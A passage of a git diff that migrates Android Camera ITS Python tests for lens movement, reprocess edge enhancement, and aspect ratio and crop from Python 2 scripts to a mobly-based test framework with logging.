+            'i: %d\tfd: %.3f\tlens location (diopters): %.3f \t'
+            'sharpness: %.1f', k, d_stat[k]['fd'], d_stat[k]['loc'],
+            d_stat[k]['sharpness'])
+      logging.debug('Lens moving')
+      for k in sorted(d_move):
+        logging.debug(
+            'i: %d\tfd: %.3f\tlens location (diopters): %.3f \t'
+            'sharpness: %.1f  \tlens_moving: %r \t'
+            'timestamp: %.1fms', k, d_move[k]['fd'], d_move[k]['loc'],
+            d_move[k]['sharpness'], d_move[k]['lens_moving'],
+            d_move[k]['timestamp'])
+
+      # assert reported location/sharpness is correct in static frames
+      assert_static_frames_behavior(d_stat)
+
+      # assert reported location/sharpness is correct in moving frames
+      assert_moving_frames_behavior(d_move, d_stat)
+
 
 if __name__ == '__main__':
-    main()
-
+  test_runner.main()
diff --git a/apps/CameraITS/tests/scene3/test_reprocess_edge_enhancement.py b/apps/CameraITS/tests/scene3/test_reprocess_edge_enhancement.py
index 722af18..b19ac1f 100644
--- a/apps/CameraITS/tests/scene3/test_reprocess_edge_enhancement.py
+++ b/apps/CameraITS/tests/scene3/test_reprocess_edge_enhancement.py
@@ -11,215 +11,252 @@
 # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 # See the License for the specific language governing permissions and
 # limitations under the License.
+"""Verifies android.edge.mode param behavior for reprocessing reqs."""
 
-import os.path
 
-import its.caps
-import its.cv2image
-import its.device
-import its.image
-import its.objects
-import its.target
-
+import logging
+import os
 import matplotlib
 from matplotlib import pylab
-import numpy
+from mobly import test_runner
+import numpy as np
 
-NAME = os.path.basename(__file__).split(".")[0]
+import its_base_test
+import camera_properties_utils
+import capture_request_utils
+import image_processing_utils
+import its_session_utils
+import opencv_processing_utils
+
+EDGE_MODES = {'OFF': 0, 'FAST': 1, 'HQ': 2, 'ZSL': 3}
+EDGE_MODES_VALUES = list(EDGE_MODES.values())
+NAME = os.path.splitext(os.path.basename(__file__))[0]
 NUM_SAMPLES = 4
-THRESH_REL_SHARPNESS_DIFF = 0.15
+PLOT_COLORS = {'yuv': 'r', 'private': 'g', 'none': 'b'}
+SHARPNESS_RTOL = 0.15
 
 
 def check_edge_modes(sharpness):
-    """Check that the sharpness for the different edge modes is correct."""
-    print " Verify HQ(2) is sharper than OFF(0)"
-    assert sharpness[2] > sharpness[0]
+  """Check that the sharpness for the different edge modes is correct."""
+  logging.debug('Verify HQ is sharper than OFF')
+  if sharpness[EDGE_MODES['HQ']] < sharpness[EDGE_MODES['OFF']]:
+    raise AssertionError(f"HQ < OFF! HQ: {sharpness[EDGE_MODES['HQ']]:.5f}, "
+                         f"OFF: {sharpness[EDGE_MODES['OFF']]:.5f}")
 
-    print " Verify ZSL(3) is similar to OFF(0)"
-    e_msg = "ZSL: %.5f, OFF: %.5f, RTOL: %.2f" % (
-            sharpness[3], sharpness[0], THRESH_REL_SHARPNESS_DIFF)
-    assert numpy.isclose(sharpness[3], sharpness[0],
-                         THRESH_REL_SHARPNESS_DIFF), e_msg
+  logging.debug('Verify ZSL is similar to OFF')
+  e_msg = 'ZSL: %.5f, OFF: %.5f, RTOL: %.2f' % (
+      sharpness[EDGE_MODES['ZSL']], sharpness[EDGE_MODES['OFF']],
+      SHARPNESS_RTOL)
+  assert np.isclose(sharpness[EDGE_MODES['ZSL']], sharpness[EDGE_MODES['OFF']],
+                    SHARPNESS_RTOL), e_msg
 
-    print " Verify OFF(0) is not sharper than FAST(1)"
-    assert sharpness[1] > sharpness[0] * (1.0 - THRESH_REL_SHARPNESS_DIFF)
+  logging.debug('Verify OFF is not sharper than FAST')
+  e_msg = 'FAST: %.5f, OFF: %.5f, RTOL: %.2f' % (
+      sharpness[EDGE_MODES['FAST']], sharpness[EDGE_MODES['OFF']],
+      SHARPNESS_RTOL)
+  assert (sharpness[EDGE_MODES['FAST']] >
+          sharpness[EDGE_MODES['OFF']] * (1.0-SHARPNESS_RTOL)), e_msg
 
-    print " Verify FAST(1) is not sharper than HQ(2)"
-    assert sharpness[2] > sharpness[1] * (1.0 - THRESH_REL_SHARPNESS_DIFF)
+  logging.debug('Verify FAST is not sharper than HQ')
+  e_msg = 'FAST: %.5f, HQ: %.5f, RTOL: %.2f' % (
+      sharpness[EDGE_MODES['FAST']], sharpness[EDGE_MODES['HQ']],
+      SHARPNESS_RTOL)
+  assert (sharpness[EDGE_MODES['HQ']] >
+          sharpness[EDGE_MODES['FAST']] * (1.0-SHARPNESS_RTOL)), e_msg
 
 
-def test_edge_mode(cam, edge_mode, sensitivity, exp, fd, out_surface, chart,
-                   reprocess_format=None):
-    """Return sharpness of the output images and the capture result metadata.
+def do_capture_and_determine_sharpness(
+    cam, edge_mode, sensitivity, exp, fd, out_surface, chart, log_path,
+    reprocess_format=None):
+  """Return sharpness of the output images and the capture result metadata.
 
-       Processes a capture request with a given edge mode, sensitivity, exposure
-       time, focus distance, output surface parameter, and reprocess format
-       (None for a regular request.)
+   Processes a capture request with a given edge mode, sensitivity, exposure
+   time, focus distance, output surface parameter, and reprocess format
+   (None for a regular request.)
 
-    Args:
-        cam: An open device session.
-        edge_mode: Edge mode for the request as defined in android.edge.mode
-        sensitivity: Sensitivity for the request as defined in
-            android.sensor.sensitivity
-        exp: Exposure time for the request as defined in
-            android.sensor.exposureTime.
-        fd: Focus distance for the request as defined in
-            android.lens.focusDistance
-        out_surface: Specifications of the output image format and size.
-        chart: object containing chart information
-        reprocess_format: (Optional) The reprocessing format. If not None,
-                reprocessing will be enabled.
+  Args:
+    cam: An open device session.
+    edge_mode: Edge mode for the request as defined in android.edge.mode
+    sensitivity: Sensitivity for the request as defined in
+                 android.sensor.sensitivity
+    exp: Exposure time for the request as defined in
+        android.sensor.exposureTime.
+    fd: Focus distance for the request as defined in
+        android.lens.focusDistance
+    out_surface: Specifications of the output image format and size.
+    chart: object containing chart information
+    log_path: location to save files
+    reprocess_format: (Optional) The reprocessing format. If not None,
+                      reprocessing will be enabled.
 
-    Returns:
-        Object containing reported edge mode and the sharpness of the output
-        image, keyed by the following strings:
-            "edge_mode"
-            "sharpness"
-    """
+  Returns:
+    Object containing reported edge mode and the sharpness of the output
+    image, keyed by the following strings:
+        'edge_mode'
+        'sharpness'
+  """
 
-    req = its.objects.manual_capture_request(sensitivity, exp)
-    req["android.lens.focusDistance"] = fd
-    req["android.edge.mode"] = edge_mode
-    if reprocess_format:
-        req["android.reprocess.effectiveExposureFactor"] = 1.0
+  req = capture_request_utils.manual_capture_request(sensitivity, exp)
+  req['android.lens.focusDistance'] = fd
+  req['android.edge.mode'] = edge_mode
+  if reprocess_format:
+    req['android.reprocess.effectiveExposureFactor'] = 1.0
 
-    sharpness_list = []
-    caps = cam.do_capture([req]*NUM_SAMPLES, [out_surface], reprocess_format)
-    for n in range(NUM_SAMPLES):
-        y, _, _ = its.image.convert_capture_to_planes(caps[n])
-        chart.img = its.image.normalize_img(its.image.get_image_patch(
-                y, chart.xnorm, chart.ynorm, chart.wnorm, chart.hnorm))
-        if n == 0:
-            its.image.write_image(chart.img, "%s_reprocess_fmt_%s_edge=%d.jpg" %
-                                  (NAME, reprocess_format, edge_mode))
-            res_edge_mode = caps[n]["metadata"]["android.edge.mode"]
-        sharpness_list.append(its.image.compute_image_sharpness(chart.img))
-
-    ret = {}
-    ret["edge_mode"] = res_edge_mode
-    ret["sharpness"] = numpy.mean(sharpness_list)
-
-    return ret
+  sharpness_list = []
+  caps = cam.do_capture([req]*NUM_SAMPLES, [out_surface], reprocess_format)
+  for n in range(NUM_SAMPLES):
+    y, _, _ = image_processing_utils.convert_capture_to_planes(caps[n])
+    chart.img = image_processing_utils.normalize_img(
+        image_processing_utils.get_image_patch(
+            y, chart.xnorm, chart.ynorm, chart.wnorm, chart.hnorm))
+    if n == 0:
+      image_processing_utils.write_image(
+          chart.img, '%s_reprocess_fmt_%s_edge=%d.jpg' % (
+              os.path.join(log_path, NAME), reprocess_format, edge_mode))
+      edge_mode_res = caps[n]['metadata']['android.edge.mode']
+    sharpness_list.append(
+        image_processing_utils.compute_image_sharpness(chart.img))
+  logging.debug('Sharpness list for edge mode %d: %s',
+                edge_mode, str(sharpness_list))
+  return {'edge_mode': edge_mode_res, 'sharpness': np.mean(sharpness_list)}
 
 
-def main():
-    """Test android.edge.mode param applied when set for reprocessing requests.
+class ReprocessEdgeEnhancementTest(its_base_test.ItsBaseTest):
+  """Test android.edge.mode param applied when set for reprocessing requests.
 
-    Capture non-reprocess images for each edge mode and calculate their
-    sharpness as a baseline.
+  Capture non-reprocess images for each edge mode and calculate their
+  sharpness as a baseline.
 
-    Capture reprocessed images for each supported reprocess format and edge_mode
-    mode. Calculate the sharpness of reprocessed images and compare them against
-    the sharpess of non-reprocess images.
-    """
+  Capture reprocessed images for each supported reprocess format and edge_mode
+  mode. Calculate the sharpness of reprocessed images and compare them against
+  the sharpess of non-reprocess images.
+  """
 
-    with its.device.ItsSession() as cam:
-        props = cam.get_camera_properties()
+  def test_reprocess_edge_enhancement(self):
+    logging.debug('Starting %s', NAME)
+    logging.debug('Edge modes: %s', str(EDGE_MODES))
+    with its_session_utils.ItsSession(
+        device_id=self.dut.serial,
+        camera_id=self.camera_id,
+        hidden_physical_id=self.hidden_physical_id) as cam:
+      chart_loc_arg = self.chart_loc_arg
+      props = cam.get_camera_properties()
+      props = cam.override_with_hidden_physical_camera_props(props)
+      log_path = self.log_path
 
-        its.caps.skip_unless(its.caps.read_3a(props) and
-                             its.caps.per_frame_control(props) and
-                             its.caps.edge_mode(props, 0) and
-                             (its.caps.yuv_reprocess(props) or
-                              its.caps.private_reprocess(props)))
+      # Check skip conditions
+      camera_properties_utils.skip_unless(
+          camera_properties_utils.read_3a(props) and
+          camera_properties_utils.per_frame_control(props) and
+          camera_properties_utils.edge_mode(props, 0) and
+          (camera_properties_utils.yuv_reprocess(props) or
+           camera_properties_utils.private_reprocess(props)))
 
-    # initialize chart class and locate chart in scene
-    chart = its.cv2image.Chart()
+      # Load chart for scene
+      its_session_utils.load_scene(
+          cam, props, self.scene, self.tablet, self.chart_distance)
 
-    with its.device.ItsSession() as cam:
-        mono_camera = its.caps.mono_camera(props)
-        # If reprocessing is supported, ZSL EE mode must be avaiable.
-        assert its.caps.edge_mode(props, 3), "EE mode not available!"
+      # Initialize chart class and locate chart in scene
+      chart = opencv_processing_utils.Chart(
+          cam, props, self.log_path, chart_loc=chart_loc_arg)
 
-        reprocess_formats = []
-        if its.caps.yuv_reprocess(props):
-            reprocess_formats.append("yuv")
-        if its.caps.private_reprocess(props):
-            reprocess_formats.append("private")
+      # If reprocessing is supported, ZSL edge mode must be avaiable.
+      assert camera_properties_utils.edge_mode(
+          props, EDGE_MODES['ZSL']), 'ZSL android.edge.mode not available!'
 
-        size = its.objects.get_available_output_sizes("jpg", props)[0]
-        out_surface = {"width": size[0], "height": size[1], "format": "jpg"}
+      reprocess_formats = []
+      if camera_properties_utils.yuv_reprocess(props):
+        reprocess_formats.append('yuv')
+      if camera_properties_utils.private_reprocess(props):
+        reprocess_formats.append('private')
 
-        # Get proper sensitivity, exposure time, and focus distance.
-        s, e, _, _, fd = cam.do_3a(get_results=True, mono_camera=mono_camera)
+      size = capture_request_utils.get_available_output_sizes('jpg', props)[0]
+      logging.debug('image W: %d, H: %d', size[0], size[1])
+      out_surface = {'width': size[0], 'height': size[1], 'format': 'jpg'}
 
-        # Intialize plot
-        pylab.figure("reprocess_result")
-        gr_color = {"yuv": "r", "private": "g", "none": "b"}
+      # Get proper sensitivity, exposure time, and focus distance.
+      mono_camera = camera_properties_utils.mono_camera(props)
+      s, e, _, _, fd = cam.do_3a(get_results=True, mono_camera=mono_camera)
 
-        # Get the sharpness for each edge mode for regular requests
-        sharpness_regular = []
-        edge_mode_reported_regular = []
+      # Initialize plot
+      pylab.figure('reprocess_result')
+      pylab.title(NAME)
+      pylab.xlabel('Edge Enhance Mode')
+      pylab.ylabel('Sharpness')
+      pylab.xticks(EDGE_MODES_VALUES)
+
+      # Get the sharpness for each edge mode for regular requests
+      sharpness_regular = []
+      edge_mode_reported_regular = []
+      for edge_mode in EDGE_MODES.values():
+        # Skip unavailable modes
+        if not camera_properties_utils.edge_mode(props, edge_mode):
+          edge_mode_reported_regular.append(edge_mode)
+          sharpness_regular.append(0)
+          continue
+        ret = do_capture_and_determine_sharpness(
+            cam, edge_mode, s, e, fd, out_surface, chart, log_path)
+        edge_mode_reported_regular.append(ret['edge_mode'])
+        sharpness_regular.append(ret['sharpness'])
+
+      pylab.plot(EDGE_MODES_VALUES, sharpness_regular,
+                 '-'+PLOT_COLORS['none']+'o', label='None')
+      logging.debug('Sharpness for edge modes with regular request: %s',
+                    str(sharpness_regular))
+
+      # Get sharpness for each edge mode and reprocess format
+      sharpnesses_reprocess = []
+      edge_mode_reported_reprocess = []
+
+      for reprocess_format in reprocess_formats:
+        # List of sharpness
+        sharpnesses = []
+        edge_mode_reported = []
         for edge_mode in range(4):
-            # Skip unavailable modes
-            if not its.caps.edge_mode(props, edge_mode):
-                edge_mode_reported_regular.append(edge_mode)
-                sharpness_regular.append(0)
-                continue
-            ret = test_edge_mode(cam, edge_mode, s, e, fd, out_surface, chart)
-            edge_mode_reported_regular.append(ret["edge_mode"])
-            sharpness_regular.append(ret["sharpness"])
+          # Skip unavailable modes
+          if not camera_properties_utils.edge_mode(props, edge_mode):
+            edge_mode_reported.append(edge_mode)
+            sharpnesses.append(0)
+            continue
 
-        pylab.plot(range(4), sharpness_regular, "-"+gr_color["none"]+"o")
-        print "Reported edge modes",
-        print "regular requests:", edge_mode_reported_regular
-        print "Sharpness with EE mode [0,1,2,3]:", sharpness_regular
-        print ""
+          ret = do_capture_and_determine_sharpness(
+              cam, edge_mode, s, e, fd, out_surface, chart, log_path,
+              reprocess_format)
+          edge_mode_reported.append(ret['edge_mode'])
+          sharpnesses.append(ret['sharpness'])
 
-        # Get the sharpness for each reprocess format and edge mode for
-        # reprocess requests.
-        sharpnesses_reprocess = []
-        edge_mode_reported_reprocess = []
+        sharpnesses_reprocess.append(sharpnesses)
+        edge_mode_reported_reprocess.append(edge_mode_reported)
 
-        for reprocess_format in reprocess_formats:
-            # List of sharpness
-            sharpnesses = []
-            edge_mode_reported = []
-            for edge_mode in range(4):
-                # Skip unavailable modes
-                if not its.caps.edge_mode(props, edge_mode):
-                    edge_mode_reported.append(edge_mode)
-                    sharpnesses.append(0)
-                    continue
+        # Add to plot and log results
+        pylab.plot(EDGE_MODES_VALUES, sharpnesses,
+                   '-'+PLOT_COLORS[reprocess_format]+'o',
+                   label=reprocess_format)
+        logging.debug('Sharpness for edge modes w/ %s reprocess fmt: %s',
+                      reprocess_format, str(sharpnesses))
+      # Finalize plot
+      pylab.legend(numpoints=1, fancybox=True)
+      matplotlib.pyplot.savefig('%s_plot.png' %
+                                os.path.join(log_path, NAME))
+      logging.debug('Check regular requests')
+      check_edge_modes(sharpness_regular)
 
-                ret = test_edge_mode(cam, edge_mode, s, e, fd, out_surface,
-                                     chart, reprocess_format)
-                edge_mode_reported.append(ret["edge_mode"])
-                sharpnesses.append(ret["sharpness"])
+      for reprocess_format in range(len(reprocess_formats)):
+        logging.debug('Check reprocess format: %s', reprocess_format)
+        check_edge_modes(sharpnesses_reprocess[reprocess_format])
 
-            sharpnesses_reprocess.append(sharpnesses)
-            edge_mode_reported_reprocess.append(edge_mode_reported)
+        hq_div_off_reprocess = (
+            sharpnesses_reprocess[reprocess_format][EDGE_MODES['HQ']] /
+            sharpnesses_reprocess[reprocess_format][EDGE_MODES['OFF']])
+        hq_div_off_regular = (
+            sharpness_regular[EDGE_MODES['HQ']] /
+            sharpness_regular[EDGE_MODES['OFF']])
+        e_msg = 'HQ/OFF_reprocess: %.4f, HQ/OFF_reg: %.4f, RTOL: %.2f' % (
+            hq_div_off_reprocess, hq_div_off_regular, SHARPNESS_RTOL)
+        logging.debug('Verify reprocess HQ ~= reg HQ relative to OFF')
+        assert np.isclose(hq_div_off_reprocess, hq_div_off_regular,
+                          SHARPNESS_RTOL), e_msg
 
-            pylab.plot(range(4), sharpnesses,
-                       "-"+gr_color[reprocess_format]+"o")
-            print "Reported edge modes w/ request fmt %s:" % reprocess_format
-            print "Sharpness with EE mode [0,1,2,3] for %s reprocess:" % (
-                    reprocess_format), sharpnesses
-            print ""
-
-        # Finalize plot
-        pylab.title("Red-YUV Reprocess  Green-Private Reprocess  Blue-None")
-        pylab.xlabel("Edge Enhance Mode")
-        pylab.ylabel("Sharpness")
-        pylab.xticks(range(4))
-        matplotlib.pyplot.savefig("%s_plot_EE.png" %
-                                  ("test_reprocess_edge_enhancement"))
-        print "regular requests:"
-        check_edge_modes(sharpness_regular)
-
-        for reprocess_format in range(len(reprocess_formats)):
-            print "\nreprocess format:", reprocess_format
-            check_edge_modes(sharpnesses_reprocess[reprocess_format])
-
-            hq_div_off_reprocess = (sharpnesses_reprocess[reprocess_format][2] /
-                                    sharpnesses_reprocess[reprocess_format][0])
-            hq_div_off_regular = sharpness_regular[2] / sharpness_regular[0]
-            e_msg = "HQ/OFF_reprocess: %.4f, HQ/OFF_reg: %.4f, RTOL: %.2f" % (
-                    hq_div_off_reprocess, hq_div_off_regular,
-                    THRESH_REL_SHARPNESS_DIFF)
-            print " Verify reprocess HQ(2) ~= reg HQ(2) relative to OFF(0)"
-            assert numpy.isclose(hq_div_off_reprocess, hq_div_off_regular,
-                                 THRESH_REL_SHARPNESS_DIFF), e_msg
-
-if __name__ == "__main__":
-    main()
+if __name__ == '__main__':
+  test_runner.main()
 
diff --git a/apps/CameraITS/tests/scene4/test_aspect_ratio_and_crop.py b/apps/CameraITS/tests/scene4/test_aspect_ratio_and_crop.py
index bbf1378..657f20c 100644
--- a/apps/CameraITS/tests/scene4/test_aspect_ratio_and_crop.py
+++ b/apps/CameraITS/tests/scene4/test_aspect_ratio_and_crop.py
@@ -1,4 +1,4 @@
-# Copyright 2015 The Android Open Source Project (lint as: python2)
+# Copyright 2015 The Android Open Source Project
 #
 # Licensed under the Apache License, Version 2.0 (the "License");
 # you may not use this file except in compliance with the License.
@@ -11,662 +11,563 @@
 # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 # See the License for the specific language governing permissions and
 # limitations under the License.
+"""Validate aspect ratio, crop and FoV vs format."""
 
+
+import logging
 import math
 import os.path
-import cv2
-import its.caps
-import its.cv2image
-import its.device
-import its.image
-import its.objects
+from mobly import test_runner
 import numpy as np
 
-FOV_PERCENT_RTOL = 0.15  # Relative tolerance on circle FoV % to expected
-LARGE_SIZE = 2000   # Define the size of a large image (compare against max(w,h))
-NAME = os.path.basename(__file__).split(".")[0]
-NUM_DISTORT_PARAMS = 5
-THRESH_L_AR = 0.02  # aspect ratio test threshold of large images
-THRESH_XS_AR = 0.075  # aspect ratio test threshold of mini images
-THRESH_L_CP = 0.02  # Crop test threshold of large images
-THRESH_XS_CP = 0.075  # Crop test threshold of mini images
-THRESH_MIN_PIXEL = 4  # Crop test allowed offset
-PREVIEW_SIZE = (1920, 1080)  # preview size
+import cv2
+import its_base_test
+import camera_properties_utils
+import capture_request_utils
+import image_processing_utils
+import its_session_utils
+import opencv_processing_utils
+
+_ANDROID11_API_LEVEL = 30
+_CIRCLE_COLOR = 0  # [0: black, 255: white].
+_CIRCLE_MIN_AREA = 0.01  # 1% of image size.
+_FOV_PERCENT_RTOL = 0.15  # Relative tolerance on circle FoV % to expected.
+_LARGE_SIZE = 2000  # Size of a large image (compared against max(w, h)).
+_NAME = os.path.splitext(os.path.basename(__file__))[0]
+_PREVIEW_SIZE = (1920, 1080)
+_THRESH_AR_L = 0.02  # Aspect ratio test threshold of large images.
+_THRESH_AR_S = 0.075  # Aspect ratio test threshold of mini images.
+_THRESH_CROP_L = 0.02  # Crop test threshold of large images.
+_THRESH_CROP_S = 0.075  # Crop test threshold of mini images.
+_THRESH_MIN_PIXEL = 4  # Crop test allowed offset.
 
 # Before API level 30, only resolutions with the following listed aspect ratio
 # are checked. Device launched after API level 30 will need to pass the test
 # for all advertised resolutions. Device launched before API level 30 just
 # needs to pass the test for all resolutions within these aspect ratios.
-AR_CHECKED_PRE_API_30 = ["4:3", "16:9", "18:9"]
-AR_DIFF_ATOL = 0.01
+_AR_CHECKED_PRE_API_30 = ('4:3', '16:9', '18:9')
+_AR_DIFF_ATOL = 0.01
 
 
-def print_failed_test_results(failed_ar, failed_fov, failed_crop):
-    """Print failed test results."""
-    if failed_ar:
-        print "\nAspect ratio test summary"
-        print "Images failed in the aspect ratio test:"
-        print "Aspect ratio value: width / height"
-        for fa in failed_ar:
-            print "%s with %s %dx%d: %.3f;" % (
-                    fa["fmt_iter"], fa["fmt_cmpr"],
-                    fa["w"], fa["h"], fa["ar"]),
-            print "valid range: %.3f ~ %.3f" % (
-                    fa["valid_range"][0], fa["valid_range"][1])
-
-    if failed_fov:
-        print "\nFoV test summary"
-        print "Images failed in the FoV test:"
-        for fov in failed_fov:
-            print fov
-
-    if failed_crop:
-        print "\nCrop test summary"
-        print "Images failed in the crop test:"
-        print "Circle center position, (horizontal x vertical), listed",
-        print "below is relative to the image center."
-        for fc in failed_crop:
-            print "%s with %s %dx%d: %.3f x %.3f;" % (
-                    fc["fmt_iter"], fc["fmt_cmpr"], fc["w"], fc["h"],
-                    fc["ct_hori"], fc["ct_vert"]),
-            print "valid horizontal range: %.3f ~ %.3f;" % (
-                    fc["valid_range_h"][0], fc["valid_range_h"][1]),
-            print "valid vertical range: %.3f ~ %.3f" % (
-                    fc["valid_range_v"][0], fc["valid_range_v"][1])
+def _check_skip_conditions(first_api_level, props):
+  """Check the skip conditions based on first API level."""
+  if first_api_level < _ANDROID11_API_LEVEL:  # Original constraint.
+    camera_properties_utils.skip_unless(camera_properties_utils.read_3a(props))
+  else:  # Loosen from read_3a to enable LIMITED coverage.
+    camera_properties_utils.skip_unless(
+        camera_properties_utils.ae_lock(props) and
+        camera_properties_utils.awb_lock(props))
 
 
-def is_checked_aspect_ratio(first_api_level, w, h):
-    if first_api_level >= 30:
-        return True
-
-    for ar_check in AR_CHECKED_PRE_API_30:
-        match_ar_list = [float(x) for x in ar_check.split(":")]
-        match_ar = match_ar_list[0] / match_ar_list[1]
-        if np.isclose(float(w)/h, match_ar, atol=AR_DIFF_ATOL):
-            return True
-
-    return False
-
-def calc_expected_circle_image_ratio(ref_fov, img_w, img_h):
-    """Determine the circle image area ratio in percentage for a given image size.
-
-    Args:
-        ref_fov:    dict with [fmt, % coverage, w, h, circle_w, circle_h]
-        img_w:      the image width
-        img_h:      the image height
-
-    Returns:
-        chk_percent: the expected circle image area ratio in percentage
-    """
-
-    ar_ref = float(ref_fov["w"]) / ref_fov["h"]
-    ar_target = float(img_w) / img_h
-    # The cropping will happen either horizontally or vertically.
-    # In both case a crop results in the visble area reduce by a ratio r (r < 1.0)
-    # and the circle will in turn occupy ref_pct / r (percent) on the target
-    # image size.
-    r = ar_ref / ar_target
-    if r < 1.0:
-        r = 1.0 / r
-    return ref_fov["percent"] * r
+def _check_basic_correctness(cap, fmt_iter, w_iter, h_iter):
+  """Check the capture for basic correctness."""
+  if cap['format'] != fmt_iter:
+    raise AssertionError
+  if cap['width'] != w_iter:
+    raise AssertionError
+  if cap['height'] != h_iter:
+    raise AssertionError
 
 
-def find_raw_fov_reference(cam, req, props, debug):
-    """Determine the circle coverage of the image in RAW reference image.
+def _create_format_list():
+  """Create format list for multiple capture objects.
 
-    Args:
-        cam:        camera object
-        req:        camera request
-        props:      camera properties
-        debug:      perform debug dump or not
+  Do multi-capture of 'iter' and 'cmpr'. Iterate through all the available
+  sizes of 'iter', and only use the size specified for 'cmpr'.
+  The 'cmpr' capture is only used so that we have multiple capture target
+  instead of just one, which should help catching more potential issues.
+  The test doesn't look into the output of 'cmpr' images at all.
+  The 'iter_max' or 'cmpr_size' key defines the maximal size being iterated
+  or selected for the 'iter' and 'cmpr' stream accordingly. None means no
+  upper bound is specified.
 
-    Returns:
-        ref_fov:         dict with [fmt, % coverage, w, h, circle_w, circle_h]
-        cc_ct_gt:        circle center position relative to the center of image.
-        aspect_ratio_gt: aspect ratio of the detected circle in float.
-    """
+  Args:
+    None
 
-    # Capture full-frame raw. Use its aspect ratio and circle center
-    # location as ground truth for the other jpeg or yuv images.
-    print "Creating references for fov_coverage from RAW"
-    out_surface = {"format": "raw"}
-    cap_raw = cam.do_capture(req, out_surface)
-    print "Captured %s %dx%d" % ("raw", cap_raw["width"],
-                                 cap_raw["height"])
-    img_raw = its.image.convert_capture_to_rgb_image(cap_raw,
-                                                     props=props)
-
-    # The intrinsics and distortion coefficients are meant for full
-    # size RAW, but convert_capture_to_rgb_image returns a 2x downsampled
-    # version, so resize back to full size here.
-    img_raw = cv2.resize(img_raw, (0, 0), fx=2.0, fy=2.0)
-
-    # If the device supports lens distortion correction, apply the
-    # coefficients on the RAW image so it can be compared to YUV/JPEG
-    # outputs which are subject to the same correction via ISP.
-    if its.caps.distortion_correction(props):
-        # Intrinsic cal is of format: [f_x, f_y, c_x, c_y, s]
-        # [f_x, f_y] is the horizontal and vertical focal lengths,
-        # [c_x, c_y] is the position of the optical axis,
-        # and s is skew of sensor plane vs lens plane.
-        print "Applying intrinsic calibration and distortion params"
-        ical = np.array(props["android.lens.intrinsicCalibration"])
-        msg = "Cannot include lens distortion without intrinsic cal!"
-        assert len(ical) == 5, msg
-        sensor_h = props["android.sensor.info.physicalSize"]["height"]
-        sensor_w = props["android.sensor.info.physicalSize"]["width"]
-        pixel_h = props["android.sensor.info.pixelArraySize"]["height"]
-        pixel_w = props["android.sensor.info.pixelArraySize"]["width"]
-        fd = float(cap_raw["metadata"]["android.lens.focalLength"])
-        fd_w_pix = pixel_w * fd / sensor_w
-        fd_h_pix = pixel_h * fd / sensor_h
-        # transformation matrix
-        # k = [[f_x, s, c_x],
-        #      [0, f_y, c_y],
-        #      [0,   0,   1]]
-        k = np.array([[ical[0], ical[4], ical[2]],
-                      [0, ical[1], ical[3]],
-                      [0, 0, 1]])
-        print "k:", k
-        e_msg = "fd_w(pixels): %.2f\tcal[0](pixels): %.2f\tTOL=20%%" % (
-                fd_w_pix, ical[0])
-        assert np.isclose(fd_w_pix, ical[0], rtol=0.20), e_msg
-        e_msg = "fd_h(pixels): %.2f\tcal[1](pixels): %.2f\tTOL=20%%" % (
-                fd_h_pix, ical[0])
-        assert np.isclose(fd_h_pix, ical[1], rtol=0.20), e_msg
-
-        # distortion
-        rad_dist = props["android.lens.distortion"]
-        print "android.lens.distortion:", rad_dist
-        e_msg = "%s param(s) found. %d expected." % (len(rad_dist),
-                                                     NUM_DISTORT_PARAMS)
-        assert len(rad_dist) == NUM_DISTORT_PARAMS, e_msg
-        opencv_dist = np.array([rad_dist[0], rad_dist[1],
-                                rad_dist[3], rad_dist[4],
-                                rad_dist[2]])
-        print "dist:", opencv_dist
-        img_raw = cv2.undistort(img_raw, k, opencv_dist)
-    size_raw = img_raw.shape
-    w_raw = size_raw[1]
-    h_raw = size_raw[0]
-    img_name = "%s_%s_w%d_h%d.png" % (NAME, "raw", w_raw, h_raw)
-    its.image.write_image(img_raw, img_name, True)
-    aspect_ratio_gt, cc_ct_gt, circle_size_raw = measure_aspect_ratio(
-            img_raw, img_name, True, debug)
-    raw_fov_percent = calc_circle_image_ratio(
-            circle_size_raw[0], circle_size_raw[1], w_raw, h_raw)
-    ref_fov = {}
-    ref_fov["fmt"] = "RAW"
-    ref_fov["percent"] = raw_fov_percent
-    ref_fov["w"] = w_raw
-    ref_fov["h"] = h_raw
-    ref_fov["circle_w"] = circle_size_raw[0]
-    ref_fov["circle_h"] = circle_size_raw[1]
-    print "Using RAW reference:", ref_fov
-    return ref_fov, cc_ct_gt, aspect_ratio_gt
+  Returns:
+    format_list
+  """
+  format_list = []
+  format_list.append({'iter': 'yuv', 'iter_max': None,
+                      'cmpr': 'yuv', 'cmpr_size': _PREVIEW_SIZE})
+  format_list.append({'iter': 'yuv', 'iter_max': _PREVIEW_SIZE,
+                      'cmpr': 'jpeg', 'cmpr_size': None})
+  format_list.append({'iter': 'yuv', 'iter_max': _PREVIEW_SIZE,
+                      'cmpr': 'raw', 'cmpr_size': None})
+  format_list.append({'iter': 'jpeg', 'iter_max': None,
+                      'cmpr': 'raw', 'cmpr_size': None})
+  format_list.append({'iter': 'jpeg', 'iter_max': None,
+                      'cmpr': 'yuv', 'cmpr_size': _PREVIEW_SIZE})
+  return format_list
 
 
-def find_jpeg_fov_reference(cam, req, props):
-    """Determine the circle coverage of the image in JPEG reference image.
+def _print_failed_test_results(failed_ar, failed_fov, failed_crop,
+                               first_api_level, level_3):
+  """Print failed test results."""
+  if failed_ar:
+    logging.error('Aspect ratio test summary')
+    logging.error('Images failed in the aspect ratio test:')
+    logging.error('Aspect ratio value: width / height')
+    for fa in failed_ar:
+      logging.error('%s', fa)
 
-    Args:
-        cam:        camera object
-        req:        camera request
-        props:      camera properties
+  if failed_fov:
+    logging.error('FoV test summary')
+    logging.error('Images failed in the FoV test:')
+    for fov in failed_fov:
+      logging.error('%s', str(fov))
 
-    Returns:
-        ref_fov:    dict with [fmt, % coverage, w, h, circle_w, circle_h]
-        cc_ct_gt:   circle center position relative to the center of image.
-    """
-    ref_fov = {}
-    fmt = its.objects.get_largest_jpeg_format(props)
-    # capture and determine circle area in image
-    cap = cam.do_capture(req, fmt)
-    w = cap["width"]
-    h = cap["height"]
-
-    img = its.image.convert_capture_to_rgb_image(cap, props=props)
-    print "Captured JPEG %dx%d" % (w, h)
-    img_name = "%s_jpeg_w%d_h%d.png" % (NAME, w, h)
-    # Set debug to True to save the reference image
-    _, cc_ct_gt, circle_size = measure_aspect_ratio(img, img_name, False, debug=True)
